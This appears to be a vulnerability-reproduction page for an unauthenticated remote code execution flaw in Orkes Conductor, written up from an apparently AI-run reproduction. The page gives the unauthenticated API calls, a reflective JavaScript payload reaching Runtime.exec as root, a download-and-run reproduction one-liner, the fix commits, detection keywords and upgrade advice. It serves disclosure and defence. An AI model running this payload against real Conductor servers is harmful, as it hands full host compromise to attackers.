CVE-2026-58138: Verified Reproduction
CVE-2026-58138: Orkes Conductor unauthenticated RCE via inline script evaluators
CVE-2026-58138 is verified against the affected target. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00236.
What Is CVE-2026-58138?
CVE-2026-58138 is a critical, unauthenticated remote code execution vulnerability (CWE-94) in Orkes Conductor OSS before 3.30.2. Inline workflow script expressions are evaluated inside an unsandboxed GraalVM context with full host access, and the Conductor REST API performs no authentication by default. Pruva reproduced it (reproduction REPRO-2026-00236).
CVE-2026-58138 Severity & CVSS Score
CVE-2026-58138 is rated critical severity, with a CVSS base score of 9.8 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
How to Reproduce CVE-2026-58138
pruva-verify REPRO-2026-00236 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00236/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-58138
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
unauthenticated workflow definition with an INLINE task whose JavaScript expression bootstraps Java reflection from the bound input object ($) to java.lang.Runtime and calls Runtime.exec(['sh','-c',CMD])
- POST /api/metadata/workflow (register malicious workflow, no auth) + POST /api/workflow/{name} (start, no auth)
- INLINE system task evaluates the JS expression in a GraalVM Context built with HostAccess.ALL
- reflective Runtime.exec
- command stdout returned in GET /api/workflow/{id}?includeTasks=true tasks[].outputData.result
reproduction_steps.sh How the agent worked
Root Cause and Exploit Chain for CVE-2026-58138
CVE-2026-58138 is an unauthenticated remote code execution vulnerability in
Orkes/Conductor-OSS (the community workflow orchestration engine) versions
3.21.21 through before 3.30.2. The INLINE system task (and the related
LAMBDA, DO_WHILE, and SWITCH task types) evaluates a user-supplied
JavaScript expression inside a GraalVM polyglot Context that is built with
full host access (HostAccess.ALL) and, for the Python evaluator,
allowAllAccess(true). Because the community Conductor REST API performs no
authentication by default, any remote attacker who can reach the API can
register a workflow definition whose INLINE task carries a malicious
expression, start the workflow, and have the Conductor JVM execute arbitrary
operating-system commands. This was reproduced end-to-end against the real
conductoross/conductor:3.22.3 Docker image: an unauthenticated
POST /api/metadata/workflow + POST /api/workflow/{name} caused
Runtime.exec(["sh","-c",CMD]) to run as root inside the Conductor host,
and the command's stdout was returned verbatim in the task's outputData.result.
- Package/component affected:
conductor-oss/conductor—core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java(the GraalVMjsevaluator context) andcore/src/main/java/com/netflix/conductor/core/execution/evaluators/PythonEvaluator.java(thepythonevaluator context). Reachable through theINLINEworkflow system task (com.netflix.conductor.core.execution.tasks.Inline) andLAMBDA/DO_WHILE/SWITCHwhich also evaluate script expressions. - Affected versions: 3.21.21 … < 3.30.2 (confirmed on 3.22.3). The plain
allowHostAccess(HostAccess.ALL)configuration is present through ~3.29.x; 3.30.0/3.30.1 added a partialdenyAccess(...)blocklist (reflection blocked but class loading still permitted); the complete fix lands in 3.30.2. - Risk level and consequences: Critical (CVSS 9.8,
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Full unauthenticated remote compromise of the orchestrator host: arbitrary command execution as the Conductor process user (root in the default Docker image), exposing the engine's persistence/queues, stored credentials, and every system its workflows touch.
Impact Parity
- Disclosed/claimed maximum impact: Unauthenticated remote code execution
(arbitrary OS command execution) —
code_execution. - Reproduced impact from this run: Unauthenticated remote code execution as
root — the attacker-supplied shell command (
id; echo <marker>; hostname; cat /etc/os-release) executed inside the Conductor host and its stdout (uid=0(root)…, the unique marker, the hostname, and the OS release line) was returned through the unauthenticated API. A second, independent proof confirmed a marker file was written to the container filesystem. - Parity:
full. The proof exercises the exact claimed surface (unauthenticated remote API → inline script → OS command execution) and demonstrates the claimed maximum impact (code execution as root). - Not demonstrated: Nothing — the reproduction reached the full claimed impact, not merely a crash or memory-safety symptom.
Root Cause
Conductor's INLINE task evaluates user-supplied script through
ScriptEvaluator.eval(), which builds a GraalVM polyglot Context for the
js language. In the vulnerable versions the context is created with no
sandbox:
// core/.../events/ScriptEvaluator.java (v3.22.3, createNewContext())
private static Context createNewContext() {
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // <-- every public Java method/field callable
.option("engine.WarnInterpreterOnly", "false")
.build();
}
HostAccess.ALL permits the script to call any public method or access any
public field on every Java host object it can reach. The INLINE task binds
its inputParameters map as the JavaScript global $ — a live Java object
(jsBindings.putMember("$", input) in ScriptEvaluator.eval()). From $ the
script bootstraps Java reflection without needing any Java.type/class-lookup
permission, because everything is reached by calling public methods on host
objects that HostAccess.ALL already exposes:
var k = $.getClass().getClass(); // java.lang.Class
var S = k.getMethod('getName').getReturnType(); // java.lang.String class
var fN = k.getMethod('forName', S); // Class.forName(String)
var RT = fN.invoke(null, ['java.lang.Runtime']); // java.lang.Runtime
var rt = RT.getMethod('getRuntime').invoke(null, []);
// build String[]{'sh','-c',CMD} reflectively, then:
var p = RT.getMethod('exec', strArr.getClass()).invoke(rt, [strArr]);
// read p.getInputStream() -> return stdout as the task result
The Python evaluator is analogous:
Context.newBuilder("python").allowAllAccess(true).build().
The Conductor community REST API has no authentication by default, so the
two calls that trigger evaluation — POST /api/metadata/workflow (register the
malicious workflow) and POST /api/workflow/{name} (start it, which
synchronously evaluates the INLINE task) — require no credentials. The task
result (GET /api/workflow/{id}?includeTasks=true →
tasks[].outputData.result) carries the executed command's stdout back to the
attacker.
Fix commits (release 3.30.2):
87a7d96aabbb706d6e84f812b93da5165028d18f— replacesHostAccess.ALLwith a builder thatdenyAccess(...)Class,ClassLoader,java.lang.reflect.*,Runtime,ProcessBuilder,Process,System,Thread,ThreadGroup; removesallowAllAccess(true)fromPythonEvaluator.c691e35e768caeb802c9f06ecdd9674c80081af1— addsallowHostClassLoading(false),allowNativeAccess(false),allowCreateThread(false),allowCreateProcess(false),allowIO(IOAccess.NONE),allowEnvironmentAccess(EnvironmentAccess.NONE), and engine optionsjs.load=false/js.print=false/js.console=false. Disabling host class loading is the binary discriminator that prevents the script from materializing the classes needed to reachRuntime.
Reproduction Steps
- Reference script:
bundle/repro/reproduction_steps.sh(with helperbundle/repro/exploit.py). - What the script does:
- Pulls the real Docker images
conductoross/conductor:3.22.3(vulnerable) andconductoross/conductor:3.30.2(fixed negative control). - Starts the vulnerable Conductor with Docker
--network host, waits for the/healthendpoint to return 200, and confirms the unauthenticated metadata API (GET /api/metadata/workflow→ HTTP 200, no auth). - Runs
exploit.py, which (with no authentication) registers a workflow whoseINLINEtask carries the reflectiveRuntime.execJavaScript payload, starts it, and polls the task result. The payload also writes a unique marker file inside the container. - Asserts the vulnerable task is
COMPLETED, the result contains live command output, and the marker file exists inside the container. - Stops the vulnerable container, starts the fixed 3.30.2 image the same
way, and runs the identical payload — asserting it is now blocked
(
task_status=FAILED_WITH_TERMINAL_ERROR, no command output, no marker file). - Writes
bundle/repro/runtime_manifest.json.
- Pulls the real Docker images
- Expected evidence of reproduction:
logs/vuln_exploit.log/artifacts/vuln_exploit.jsonshowtask_status=COMPLETEDandrce_confirmed=truewith the command stdout (uid=0(root)…, the marker, hostname, OS release);artifacts/vuln_marker_check.txtshows the marker file present inside the vulnerable container. For the fixed build,artifacts/fixed_exploit.jsonshowstask_status=FAILED_WITH_TERMINAL_ERROR,rce_confirmed=false, andartifacts/fixed_marker_check.txtshows the marker file absent. The script exits 0 only when both conditions hold.
Evidence
bundle/logs/reproduction_steps.log— full annotated run log.bundle/logs/vuln_container.log— vulnerable Conductor boot log.bundle/artifacts/vuln_health.json—{"healthy":true}from the vulnerable instance.bundle/artifacts/vuln_metadata_http.txt—HTTP 200(unauthenticated metadata API reachable).bundle/artifacts/vuln_exploit.json— exploit result:register_status=200,start_status=200,workflow_status=COMPLETED,task_status=COMPLETED,rce_confirmed=true, andtask_output_resultcontaining:uid=0(root) gid=0(root) groups=0(root) PRUVA_RCE_CONFIRMED_<ts> <hostname> PRETTY_NAME="Debian GNU/Linux 13 (trixie)"bundle/artifacts/vuln_marker_check.txt—docker execproof that the marker file was written inside the vulnerable container.bundle/logs/fixed_container.log,bundle/artifacts/fixed_exploit.json— fixed build:task_status=FAILED_WITH_TERMINAL_ERROR,workflow_status=FAILED,rce_confirmed=false,task_output_result=null.bundle/artifacts/fixed_marker_check.txt— marker file absent in the fixed container (No such file or directory).- Environment: Docker
--network hoston hostmuramasa(Arch Linux kernel); sandbox reached the host-network conductor via the docker bridge gateway172.20.0.1:8080; vulnerable imageconductoross/conductor:3.22.3, fixed imageconductoross/conductor:3.30.2.
Recommendations / Next Steps
- Upgrade to Conductor ≥ 3.30.2 immediately. The
js/pythonevaluators no longer run with host access / host class loading enabled. - Defense in depth: put authentication/authorization in front of the Conductor API (the community build is unauthenticated by default); run the server as a non-root, least-privilege user; restrict which principals can register/run workflows.
- Detection: flag workflow definitions whose
INLINE/LAMBDA/DO_WHILE/SWITCHtasks containexpressionstrings referencinggetClass,forName,Runtime,exec,ProcessBuilder, orjava.reflection; alert on Conductor processes spawning shells. - Testing: add regression tests (as the fix did in
InlineTest.java) that assert a reflection-based RCE expression yieldsFAILED_WITH_TERMINAL_ERRORfor bothjavascriptandgraaljsevaluator types on every build.
Additional Notes
- Idempotency: the script cleans up any leftover
conductor-vuln-repro/conductor-fixed-reprocontainers at startup and stops/removes them after each phase, so it can be re-run cleanly. Each exploit uses a timestamped workflow name and marker, so repeated runs do not collide. - Networking: in the DinD sandbox, Docker bridge port publishing (
-p) does not expose a reachable port to the sandbox container; the script therefore uses--network hostand reaches the conductor via the sandbox's default gateway (detect_target_ip), falling back to127.0.0.1when the sandbox is the docker host itself. - Scope of the proof: the in-range version demonstrated (3.22.3) uses the
plain
HostAccess.ALLconfiguration; the 3.30.0/3.30.1 partial blocklist is not separately bypassed here — the negative control uses the complete fix (3.30.2) per the CVE's fixed version.
CVE-2026-58138 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
cd /tmp && curl -sL "https://github.com/conductor-oss/conductor/commit/87a7d96aabbb706d6e84f812b93da5165028d18f.patch" -o fix1.patch && wc -l fix1.patch && echo "=====FIX1 PATCH HEAD=====" && head -200 fix1.patch{"cwd":"/data/pruva/runs/78bac993-57aa-4d07-ae6a-e903103398fb","duration_ms":306,"exit_code":0,"stderr":"","stdout":"126 fix1.patch\n=====FIX1 PATCH HEAD=====\nFrom 87a7d96aabbb706d6e84f812b93da5165028d18f Mon Sep 17 00:00:00 2001\nFrom: Vasilii Pankov <c4lm@users.noreply.github.com>\nDate: Wed, 6 May 2026 00:23:17 +0400\nSubject: [PATCH] Deny access to some classes in js evaluator, deny host access\n in python evaluator (#1057)\n\nDeny access to some classes in js evaluator, deny host access in python evaluator\n---\n .../core/events/ScriptEvaluator.java | 17 +++++-\n .../execution/evaluators/PythonEvaluator.java | 2 +-\n .../core/execution/tasks/InlineTest.java | 53 +++++++++++++++++++\n 3 files changed, 70 insertions(+), 2 deletions(-)\n\ndiff --git a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\nindex 1a5feb7dad..ecec24cb9f 100644\n--- a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\n+++ b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\n@@ -114,8 +114,23 @@ private static void ensureInitialized() {\n }… [truncated]cd /tmp && curl -sL "https://github.com/conductor-oss/conductor/commit/c691e35e768caeb802c9f06ecdd9674c80081af1.patch" -o fix2.patch && echo "=====FIX2 PATCH=====" && cat fix2.patch | head -120{"cwd":"/data/pruva/runs/78bac993-57aa-4d07-ae6a-e903103398fb","duration_ms":242,"exit_code":0,"stderr":"","stdout":"=====FIX2 PATCH=====\nFrom c691e35e768caeb802c9f06ecdd9674c80081af1 Mon Sep 17 00:00:00 2001\nFrom: Vasilii Pankov <c4lm@users.noreply.github.com>\nDate: Fri, 22 May 2026 22:09:13 +0400\nSubject: [PATCH] Restrict graaljs further (#1123)\n\n---\n .../core/events/ScriptEvaluator.java | 25 +++++++++-\n .../core/execution/tasks/InlineTest.java | 50 +++++++++++++++++++\n 2 files changed, 73 insertions(+), 2 deletions(-)\n\ndiff --git a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\nindex eff4abc5db..5bc9fcd888 100644\n--- a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\n+++ b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\n@@ -17,6 +17,7 @@\n import java.util.concurrent.*;\n \n import org.graalvm.polyglot.*;\n+import org.graalvm.polyglot.io.IOAccess;\n import org.slf4j.Logger;\n import org.slf4j.LoggerFactory;\n \n@@ -54,8 +55,19 @@ public class ScriptEvaluator {\n private static final Engine ENGIN… [truncated]Artifacts and Evidence for CVE-2026-58138
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-58138
FAQ: CVE-2026-58138
How does the CVE-2026-58138 exploit work?
Which Orkes Conductor versions are affected by CVE-2026-58138, and where is it fixed?
How severe is CVE-2026-58138?
How can I reproduce CVE-2026-58138?
References for CVE-2026-58138
Authoritative sources for CVE-2026-58138 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.